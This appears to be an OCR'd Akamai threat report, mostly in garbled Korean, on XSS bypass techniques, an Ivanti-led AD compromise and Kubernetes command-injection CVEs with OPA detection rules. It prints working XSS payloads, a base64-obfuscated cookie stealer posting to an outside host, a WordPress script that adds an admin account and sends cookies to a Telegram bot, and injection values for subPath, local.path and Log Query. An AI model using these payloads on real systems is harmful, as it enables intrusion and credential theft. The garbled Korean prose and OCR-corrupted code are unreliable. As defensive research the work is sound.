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Lateral Movement Leading to Active Directory
Compromise

UNC5330 gained initial access to the victim environment by chaining together CVE-2024-21893 and
CVE-2024-21887, a tactic outlined in Cutting Edge Part 3. Shortly after gaining access, UNC5330
leveraged an LDAP bind account configured on the compromised Ivanti Connect Secure appliance|to

abuse a vulnerable Windows Certificate Template, created a computer object, and requested a
certificate for a domain administrator. The threat actor then impersonated the domain administrator to
perform subsequent DCSyncs to extract additional credential material to move laterally.
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<script>alert(1)</script> " e
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<a href="javascript:alert(1)">XSS</a>
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GET /shop/product/search.js?return=monitors HTTP/1.1
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JavaScript
<script type="text/javascript”>

var returnPath = encodeURIComponent(“Return to all monitors”);
</script>

SBAICHA| D] Btet Q=5 S0t AL X} QIZE2 AFZE Ef 1 LHof $HFE LT} [2tM O &
otgste{ ™ 34X} EhekEl 2 XHE 'Return to all monitors 0| Al B1O{L} A§ 2.2 JavaScriptS
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JavaScript

GET /shop/product/search.js?return="-alert(1)-" HTTP/1.1
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JavaScript
<script type="text/javascript”>

var returnPath = encodeURIComponent(“Return to all“-alert(1)-"");
</script>
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a=alert,a(1)
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JavaScript
a="al”,b="ert”,c=a+b,c(1) => doesn’t work since c is a string
a="al”,b="ert”,eval(a+b) (1) => Success!
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JavaScript

top[“al”+"ert”]1(1)

window[ “al”+"ert”](1)

parent[“al”"+"ert”](1)

globalThis[“al”+"ert”] (1)

a="al”,b="ert”,window[a+b] (1) => can also pass variables
k="a’',window[k+'lert’'](1)
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JavaScript

top[/*foox/"alert”/*foo*/](1) => JS comments
top[8680439..toString(30)](1) => “alert” in base30@
top[/al/.source+/ert/.source] (1) => /.source converts to raw string
top[ ‘ale’.concat rt ](1) => concatenation of two strings

top[ “alertb”.substring(0,5)](1); => other functions can be also be
executed
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top[/a/.source+"le”.concat r /*foox/+29..toString(30)](1)
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JavaScript

"-alert(1)-" HTTP/1.1

GET /shop/product/search.js?return
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JavaScript

<script type="text/javascript”>

encodeURIComponent(“Return to all “-alert(1)-"");

var returnPath

</script>
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<script type="text/javascript”>

var returnPath = encodeURIComponent(“Return to all

&quot;-alert(1)-&quot;”);

</script>
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Z Q939 BEo] Q&L Ch,

i
© AFBALBY = AFEA QIHEO] A 2HE Z2 YA
© AMEXAEE= AOIE Of 22| A
B B2 El S2tRIE XSSHAE
Lot Akamail| S0 M B2 E| T2 IR0 FO{ot MO HE{ 7} AFESH I0| 2R E2|
EASLICH HO HRE| ZEN A0 AF AA JavaScriptE AHESHE Ol M 7HA =8
717k Ag Lt
1. XSS &Y 7I'Holl= 37| MIgto] S L . B 1 S B = O 71 =7+ XSSOf| | 25t Ch=
A2 MEE = UK, TREE BBot= 5HE Motst= 27] MeHo| AL
O|2{ot 27| Mete = QI8 PoC ZEE A3 |7 O] H & LICH O] 2ot =0 A B
SHE = XtA10| M O{Sh= €1 A JavaScript L Y 2 HASI= A2 HO|ZEEAEY =
[AESLICH CHE AT 24O A S A XHE http:/NJRs URLS ZEEHA| 7|21 gL Ct,
JavaScript

/file.php?param=<script/src=//NJ.Rs></script>
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2. ERQIE XIE3}L O A7 YA XSS MH[AE s A—E = =
XSS HO|ZE7I MM 2 ML= Xta53 HAE ALtZ|29 Y
UqELICH LEtH Ol =& 2P XSS HAES| Z2, MO SiHE
BEtRMOM Al E[=X| =QI5HO0F StH, Ol = =57 7F O O & LICH BT 2,
SR E XSSHAEE &9l 1 2B = &4 &2 JavaScript ZEE 2= #H
Of7HH=0ff & @it 2 214 XSS ME|A 5 LB 2F0| O|FHM=X]
oIt LCh O ChZ A X3l O] ALO| E o Dj7HH =7} A 8 | A =X| 22l
T AFLICH OS2 B B2 E| 1B 7 A= 0@ 220 240t S22l = XSS
PoC I+ 31| Cf Off CHSF Of| Al &4 LI T

JavaScript
/*% )
(\____/) __ . ezXSS 4.2 _
(_o0_) A\ /[ /- _ _ __ _ __ (Z)_ - __ _  This is an automated tool for penetration testers and bug bounty hunters
(0) NN\ /7 0 ZZ ‘2 N ] ‘— N/ _7 | to test applications for (cross-site-scripting) weaknesses.
e NV Vel

[1/______ N[TZ NZ/NZ7 N2l I=] I=l=1=1 | \2—, | If you believe this tool has been tested or abused on your application

I\ ___ I\/ &1 warnung! avertissement! | ___/ without your permission, please contact us at abuse@ezxss.com.
/ /__\ warning! jadvertencia! wpi!

(\ /____\ aviso! MNpepynpexpaexve! peringatan! STRICTLY PROHIBITED FOR ANY ILLEGAL ACTIVITY | More info: https://ezxss.com

*/
function ez_n(e){return void 0 !==e?e:''}
function ez_cb(t,e){var n=new
XMLHttpRequest;n.open(“POST", (“https:”!==window.parent.location.protocol?”http:":"https:")+"//c0ff33b34n.ez.pe/

callback”, !8),n.setRequestHeader(“Content-type”, "text/plain”),n.timeout=6e4,n.onreadystatechange=function(){4===n.
readyState&&200===n.status&&null!==e&&e(n.responseText)},n.send(JSON.stringify(t))}
--CUT--

=2t = XSS AfH| A& BHEat &Lt

. 2R H A

@)

https://github.com/mandatoryprogrammer/xsshunter-express

(e}

https://github.com/projectdiscovery/interactsh
o https://github.com/mazen160/xless
o https://github.com/ssl/ezXSS

. HZ WEIEl SAE

o https://blindf.com/

o https://ez.pe/manage/account/signup

o https://xss.bughunter.app/dashboard/payload
o https://xss.report/
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2025' HOHE

2EX HoH WM 23] 1 HE| 7 BH AO|E0f XSS FYHO| AX T 4B
Rto}st= ZHE ot HM(CSP)O| A= AlLIE[ 20 2 EHEH 48 E 4= A= CSP
OFHO| US =+ ASLICL O E =0, 0 CSPSE dIHE 125 2 A Q.
JavaScript

Content-Security-Policy: script-src ‘self’ ajax.googleapis.com; object-src
‘none’ ;report-uri /Report-parsing-url;

ngular JSHIM A3 EE 2T S Pt =0 Q1S 518 S =0 7}t

Flofet A5 ME0tE CHE HO|ZEE Sl 2™ = USLILE

— [ ]

JavaScript
param=1234

"

><script
src=https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.
min.js></script><div ng-app ng-csp><textarea autofocus
ng-focus="d=Sevent.view.document;d.location.hash.match(‘x1’') ? *’
d.location="https://XXXXXXXX.bxss.in’'"></textarea></div>

SAXL 7| Y
A0 2UE Javasoripte] 8 270 281, 27] £8, BAOIS HlE, M4 2folgy

WX ALOIE 278 ?IZ=(CSRF) & 2 XM SZXte| 7| 4 of tigh 6| 7 B0 AS LICE.

FI| 8. 3AX= MM 27| H|O|E E X110 X|Oj5t= AO|EE E LY A7 B3 340
At 0 A| =L CH CF2 OO A= URL, & =Xt % document.cookie H|O|E{ &
HHXH XHR RF0f 2t S AKX AFO|EE EH LT}

70l EIM3 1=
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JavaScript
try {
var re;
var ri1;
var r2;
try { r@ = window.btoa(eval(windowatob(‘ZG9jdW11bnQuY29va21l’))) } catch { r@ = document.cookie };
try { r1 = window.btoa(eval(window.atob( ‘ZG9jdW1lbnQucmVmZXJyZXI="))) } catch { r1 = document.referrer };
try { r2 = window.btoa(eval(window.atob(‘ZG9jdW11bnQuVVJM'))) } catch { r2 = document.URL };
var xhr = null;
var x1 = “aHR@cDovL3htcy5sYSINNVIFOA==";
try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiceXObject( ‘MicrosoftXMLHttp') };
xhr.open(window.atob( ‘cG9zdA=="), window.atob(x1), true);
xhr.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
xhr.send(‘ré=" + r@ + ‘&r1=" + r1 + ‘&r2=" + r2 + “&c=M5YE8");
} catch {

« HAOIEHZE SAX= CHS 0K ZE =241 20| S2H0|AE 0| A BAIE MM 22 HTML
H O|X| & MM38t7] 218 document.documentElement.innerHTMLS At&3t&
JavaScriptE & Y& L Ct.

JavaScript

document .documentElement.innerHTML=String.fromCharCode(66, 33, 68, 79, 67, 84, 89, 80, 69, 32,
104, 116, 109, 108, 62, 10, 60, 104, 116, 109, 108, 32, 108, 97, 110, 103, 61, 34, 101, 110,
34, 62, 10, 10, 68, 104, 101, 97, 100, 62, 10, 32, 32, 32, 32, 68, 109, 101, 116, 97, 32, 99,
104, 97, 114, 115, 101, 116, 61, 34, 85, 84, 70, 45, 56, 34, 62, 16, 32, 32, 32, 32, 60, 109,
101, 116, 97, 32, 118, 97, 109, 101, 61, 34, 118, 185, 101, 119, 112, 111, 114, 116, 34, 32,
99, 111, 11e@, 116, 101, 118, 116, 61, 34, 119, 105, 100, 116, 104, 61, 100, 101, 118, 105,
99, 101, 45, 119, 105, 100, 116, 104, 44, 32, 105, 110, 105, 116, 105, 97, 108, 45, 115, 99,
97, 108, 101, 61, 49, 46, 48, 34, 62, 10, 32, 32, 32, 32, 60, 116, 165, 116, 168, 101, 62,
72, 65, 67, 75, 69, 68, 32, 66, 89, 32, 115, 107, 117, 108, 108, 50, 48, 95, 105, 114, 60,
47, 116, 105, 116, 108, 101, 62, 10, 32, 32, 32, 32, 60, 168, 165, 110, 167, 32, 114, 101,
108, 61, 34, 112, 114, 101, 99, 111, 110, 110, 101, 99, 116, 34, 32, 104, 114, 101, 102, 61,
34, 104, 116, 116, 112, 115, 58, 47, 47, 162, 111, 110, 116, 115, 46, 103, 111, 111, 103,
108, 101, 97, 112, 105, 115, 46, 99, 111, 109, 34, 62, 10, 32, 32, 32, 32, 68, 108, 105, 110,
107, 32, 114, 101, 108, 61, 34, 112, 114, 101, 99, 111, 110, 1108, 101, 99, 116, 34, 32, 104,
114, 101, 102, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 162, 111, 118, 116, 115, 46, 103,
115, 116, 97, 116, 185, 99, 46, 99, 111, 109, 34, 32, 99, 114, 111, 115, 115, 111, 114, 105,
103, 105, 110, 62, 10, 32, 32, 32, 32, 68, 108, 105, 118, 107, 32, 104, 114, 101, 102, 61,
34, 104, 116, 116, 112,

---CUT---
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12 19= DevTools7t €2 Q= Brave & E2t2 X o] AT 2IAF
HTMLS 20 &EL|Ct

7|2 3 YHlag 2

Elements  C ces Network Performance Memory  Application  Ligl > 1 A1

topv | & efault levels v 1 Issu
34, 115, 99, 114, 111, 188, 108, 34, 32, 188, 105, 114, 181, 99, 116, 185, 111, 119, 61, 34, 114, 185, 183, 184, 116, 34, 32,
115, 99, 114, 111, ma, 108, 108,
111, 108,
5, 95

11 2, 32, 60, 117, 32,'115, 118, 121 “ies, 101, 61, 34, 102, 111, 118, 116,
45, 102, 97, 109, 105, 108, 121, 58, 32, 78, 111, 115, 165, ie2, 181, 114, 32, 32, 59, 32, 183, 111, 1ie, 116, 115, 185, 122,
101, 58, 50, 58, 112, 128, 59, 32, 99, 111, 188, 111, 114, 58, 114, 183, 98, 48, 50, 53, 53, 44, 32, 48, 44, 32, 48, 41, 59, 34,
b2,'35, 105, 114, 97, 110, 60, 47, 117, 62, 10, 60, 189, 97, 114, 113, 117, 161, 101, 33, 94, 101, ie4, 97, 118, 108, 111, 114,
4, 111, 108, 18, 34, 32, 100, 105, 114, 101, 99, 116, 165, 111, 118, 61, 34, ie8, 101, 102, 116, 34, 32, 115,
160, 101, 108, 97, 121, 61, 34, 49, 48, 34, 32, 118, 105, 168, 116, 104, 61, 34
08, 97,'189, 111, 117, 119, 116, 61, 34, 51, 48, 48, 34, 82, 68, 102, 111, 1
105,109, 101, 103, 114, 101, 101, 119, 34, az, g; 95, 95, 98, 9%, 95, 85,95, 95, 34. 55, 95
, 95, 95, 95, 95, 95, 95,'95, 45, 9§, 9k, 9 , 95, 95, 60, w, 162, 111, 110, 116, 62
2, m. 32, 33, 60, 47, 180, 185, 118
62, 18 47, 104, 116, 109, 188, 62)

J12119: XSS YALO| E Q1=

M4 2}0] J/CSRF. WordPress ZH2[AIS &2 2 ot S22 E M

2t0| & /CSRF
S42 AHsI{ = SR At E 0| Q& LICE O] 218t H 0] 2 =& WordPress

ZE|X7HOEAE SE LO|ZE7F = 2 THYO|L HTML H|O[X[ & &2 &= U7 E
HFEFLICH O] HO|2 =7t 2HE[Xte| B2t MM Ml x[H AEZOIE URLOAM 720t
REST 'nonce' {2 &5t = 7tA e[ A S F7t5e{ 2 Al =gt LTt otz 2| of |
FEE= ot =28 F85t1, ot 3 AKX2| Telegram XM E0| 24 ME EEE
&gt

JavaScript

const start = async ()
try {
// Fetch REST nonce from the specified URL

const nonceResponse = await fetch('/wp-admin/admin-ajax.php?action=rest-nonce’);

// Check if the response is successful and retrieve the text

const nonce = nonceResponse.ok ? await nonceResponse.text() : null;

// If nonce is available, proceed to create a new WordPress user
if (nonce) {
const userResponse = await fetch('/wp-json/wp/v2/users’, {
method: ‘POST’,
headers: { -
‘X-Wp-Nonce’: nonce,

‘Content-Type’: ‘application/json’
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body: JSON.stringify({
username: ‘admin@zzna.ru’,
password: ‘dacai@123’,
roles: [‘administrator’],

email: ‘admin@zzna.ru’
)
3

// Check if the user creation was successful or encountered a server error
if (userResponse.ok || userResponse.status === 500) {
// Get cookies

const cookies = document.cookie;

// Notify about the new user creation via Telegram including cookies
await

fetch(‘https://api.telegram.org/bot6898182997:AAGUIFwWP-BsBjDpzscyJ7pLHbiUS_Cq51NI/
sendMessage’, {

method: ‘POST’,
body: JSON.stringify({
chat_id: ‘686930213,

text: "URL: S${document.URL}\nNew User Created!\nCookies:
${cookies}"
1,
headers: {
‘Content-Type': ‘application/json’
}
1)
}
}

} catch (error) {

// Handle any errors during the process
console.error(error);

return false;

i

// Initiate the process

start();
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XSS MEHRIX| 2 2LO0] OfH S| H of B2 A 0| Mol KBSt 7Y 2 9 5 sttt
XSSE st PoC B B2 GOIA L Of FHSISH MA A 2ot ULict oy
BARIS L ot A UH O B2 9lef x5SO 34T S A BT UFLICH

oM = FHE 2MS HAISED H 0 =27 0] ot
HogtozM @ oiZ2lAH oM Lo Xss F Y o yoie
g AU TS Y Bt M E MESOFSIH(H2 B XSS 2= 7| 50| LIFE 0 AF)

NoScriptet 22 2ot £2{ 12 AX|E 1 2{sf{of g L|C.
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| o} o} ot o ]
I A A /\ /\ I
| |
| T T [

|
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2023 2ol 37t AW M FUHE 2 FHHE|AL & 7|0 JSLICL SE2 St = AE .~".~'
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£ 20) BREIE [ ER| MEYLICH R 2UHO 2 514H0|7| (20, 282 IRl "
]
AEZX] E2MS MMSIEE S0 OO, Pod ZAH|O|H O|O|X| £ CHA| M d8tX| Y0
Y = JAELCE O] 7| 52 YALO|EQ Z0| YHO|EZI ER23t B0 &8 LT
o Z2AAEE YA S UE SBULICL 2F0| Lot HE AHE Y m sAEC
O A|ABRI(RHARE e Bt BHO| Tha It A|AH DR O| A AX| A2 E 7t2|7{0F BHLICH &
2 EENEL ES TS O YAML AFOIM XIFEID 2|0] 2 =0 23HLICHIE 23)
volumeMounts:

- name: test
mountPath: /var
subPath: /log/syslog

volumes:
- name: test
hostPath:

l path: /var

J8 23 FHUE~ =25 28

CVE-2023-3676

THELR, Rl 2 AEQ| &l LI E2| & X3t subPath Of 7 B =0f £t O] A& LILCE.
Of O§7H B4 ==0f CHS =3 == AALS| L2 2 kubelet(‘e E0|AM ZHE|O|H E ML 2Tt F2
MH|2)£= 3740| &l =8 &3 91X & lekL|CH WindowsO| A= PowerShell @ & 0| & AtE&3|
O|2 =¥t o7& A2 ML LICH 2tA PowerShell B7t ZXtE S ALES

I.

ru|
0

[e]

o
20 B AU Hol K BOIS Les ol O 47t 42 Zaoix Helg 4
QU LICKLE 24).

\

l : EE=PNL |

_I

volumeMounts: ";"\" Rxé
- name: test AH Ad
pountpath: cil\var curl/CLI ﬁE%E'i i I_|ng|-
I&ubParh: $(Start-process (rru:)] é % A\i\ [y
volumes:
name: test
hostPath:
path: c:\var )
PSZ S
= Het

12 24: subPath ME22 213 HAI 28
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£ 0| FHUY|E|A Bl 37431, CVE-2023-36760] & T ASLICH I52 MK
of Ml Mol HItE| K| LU A tﬂ¢§ subPath Df7f#H =5 T ZHE
SHSLICEH O] 22X 2 sl Ast= ™M 1E2 CVE-2023-3955, CVE-2023-38930|
2l F7HQ| CHE FAMSH D7 AAE LHAMSLICEH Akamai ATF AN EN HY =
(Tomer Peled)= 0|2{3t CVEQ]| 7|0f8t A2 2 QI B & LT,

0oy o

mot ot om Ho

0

M

OpX|2 CVEZL 2 & FHYEIA & 2 ot =3
=M= Local Volumes2t= §E =28 SF2 2tH0| USLICH Y 2 ES ZAE LEQ
ClHEZ S ZHo 0fESH7| @ S ASLICH T AR AR CHE L E0f SE &
= Z2HO| Ho|EH7t &4 & = JUSLICH o] EXNE sHZst7| /s FHUEIA=
PersistentVolumesE UM O|= 2 E L EE 7|l 0| CA| 2|0 G| O] E{ 7t
E=AE|X| A== BhL|CH

CVE-2023-5528
HEE{ Ol 59| DY 7§ 40l ThaH 1 F Bk e,

N

A FUE2 02 FARSLCH Ol At M= MSE 327t 28 ZAAX AR E
ARG Ol A0 E SAES Z2et o Ih A|AE A0 of 28 F3E
UELCL Ol ZM= =28 23 4 80| X D75 H 2 datot SE0A cmdE A E
2ol O| RO TCH= AYLILE 5, 22| 2| B2 07 -0 22|22l g - E
AU Lo A G0 M =5 o 4= UGS LICHAE 25).

spec:

capacity:

storage: 1e6M
accessModes:
- ReadWriteOnce
persistentvolumeReclaimPolicy: Retain
storageClassnName: local-storage
local:

path: C:\&calc.exe&&\

112l 25: PersistentVolumes &7 0f| 24 HZ0f 44
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O| & 8} ™ kubeletO] cmd.exeS M&st1 MH YAMLE 12 EM3t 5 HHOE
] = = =
AL CHE 26).

conn
[ENconnost exe (S828) Lomorat... N1 AUTHURILT LI WINGOWS \SyStem 42\C0nNost exe k4

= i kubelet.exe (45524) NT AU
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CE £ git-sync &t 8| Ml S &= LOLBins & & 7HX| CHE2 YO 2 3lish o~ QIE LT,
spec:
containers:

- name: git-sync
image: registry.k8s.io/git-sync/git-sync:v4.0.0
args:
- -v=5
volumeMounts:
- name: markdown
mountPath: /tmp/git
- name: test
mountPath: /tmp/payload
env:
- name: GITSYNC_REPO
value: https://github.com/XXXXX/YYYYY.git
- name: GITSYNC_GIT
value: /tmp/payload/payload

dgorMetel 84 8=

o

l= ds| ZoiM FFF0| OFELICH 22| o B0 = & sHA| B7| I2 & LICf.
_i

2| = EhEd| ZEOf gito]| CHE HEO|H 2| & AFBSHE & X[ A|SHD, 2 H| 0| 2EEE HAMSH|
SHLCH A7 YAML oY 2 M8% = git-sync”t &= ZH0| M- & L|Ct

git-syncZt S A Xt Al M| SSt= E CHE 0|2 &M I 0|2 E 7} git-sync 0| & & &t F{ 0
EEHOZE SN U0 AKX 2ttt 7t540| O =ChHe A YLICH Ol 3] A4t

o
2 AABHEOS AUENT BH0| K8+ AL

HlolE

& HR| 324 0f|= GITSYNC_PASSWORD_FILE O 7 =7} 2t & L| T}, git-sync A& X}= O]
D7 A5 ALESH ol Cist Q5 TS MY = UA2M, 0= 2| ZX|E2|of HAS Y
A+EE L T

=2 Httol MY Aeto| Qle SHXE i ZhS SAXIL FESA = Ho| THY 2
R Eg Qo git2| X E2| YK = $HE = AL LT H RN gitsync TZHAE

Ct20fl B =3} ™ GITSYNC_PASSWORD_FILE Of 7 1 =0f| | @ H St I} 0| THO| M & 2 K}O|
HACZ2 MAEL|CH GITSYNC_PASSWORD_FILEO| Z o3t It ZZ L HsHo| = A $Ho|
Sl&LICh

2025 HOtEl Jjo| E 1 1MAH, 1=

Akamai.com | 47


https://www.akamai.com/ko

I . -
|
ey
] |
I ¥y
LN
a N n u
G ooy
1 '
Akamai /S
4 8 &
4 N L
8 N [
w & &
2237t =2 SF e ddst7| O X RELLCHOE S0 SAX= 0] 7| S A3 &2l " .-'
o o N - s .
& EES 7S = 20, 0| &8l git-sync 22 7HEcl 22{AHQ 45 282 F eet a"
2 ol L|C} * e
T™ Mg . L

FHUIE|A El(git-syncE EEote= BDO| EAX| T OS2
2 7HESIR| $ Y& L|CH 1S 2 2|7 DEF CON 322| Red Team VillageOf| A
= ZeyLct

=5 22

2|7t 2745 OFX| S HEH O] Q1AM FQFN 2 CVE-2024-90420|H, Log QueryEt= MEZ2
24 HFAHLIZH USLICE

Log Query= FHUYIE|AQ| i 2 =2 32| HEL 7| S LICL O] 7| 52 AtESIH
CLIE £ curl2 AHESH |14 Ao A|AE MEHE FH2|S 5= JAESLICE O E S0, AHEAtE=
C2 HEOE Q2] A L E0| M kubelet A H| A Q| MENE F2|E %= A&L|CE

kubectl get --raw “/api/v1/nodes/node-1.example/proxy/
logs/?query=kubelet”
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I Mo = F ofStR|Of Ciet 222 27| & REUELICL Log QueryZt +=4& 4= A=
Crfot Of7l S &t =2 FH U E[A 7O X0 A ot o2

oM st} 2, ot e 71y A
AMEE= MH|A O Df7f = AL TO| 4322 ASS 2

22| Log Query= @AIX AHI2 0S40t ofL|2t T B Y X3
AT = ZE 5K ELICL TN SRS E B0 4
2 A3

At | &
Log Query APIE 2tE == U2, 0| = H A = EO0| A H&E LTt

Curl “<Kubernetes API Proxy server IP>/api/v1/nodes/<NODE
name>/proxy/logs/?query=nssm&pattern='\$(Start-process cmd)'”
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OPA(Open Source Agent)

OPA(Open Policy Agent)= AF&XAH7F = E0| S0{2 1 Lt7t= E2f 0| Cigh HjO|HE
TS = AE HOIEO Cial M 78 ZXE FY = UEE St LE &2
O|O| M EQYLICE R2|= F|Aet 7 =5 7|2 2 X Ol &8 A= & EX|St XHEHSH=
O =20| £[= 3 OPA ES M3 & LICL

CVE-2023-3676

package kubernetes.admission

deny[msg] {

input.request.kind.kind == “Pod”

path := input.request.object.spec.containers.volumeMounts.subPath
not startswith(path, “$(“)

msg := sprintf(“malicious path: %v was found”, [path])

CVE-2023-5528

package kubernetes.admission

deny[msg] {
input.request.kind.kind == “PersistentVolume”
path := input.request.object.spec.local.path
contains(path, “&")
msg := sprintf(“malicious path: %v was found”, [path])

Git-sync

package kubernetes.admission

deny[msg] {

input.request.kind.kind == “<Deployment/Pod>"

path := input.request.object.spec.env.name

contains(path, “GITSYNC_GIT")

msg := sprintf(“Gitsync binary parameter detected, possible
payload alteration, verify new binary “, [path])

}
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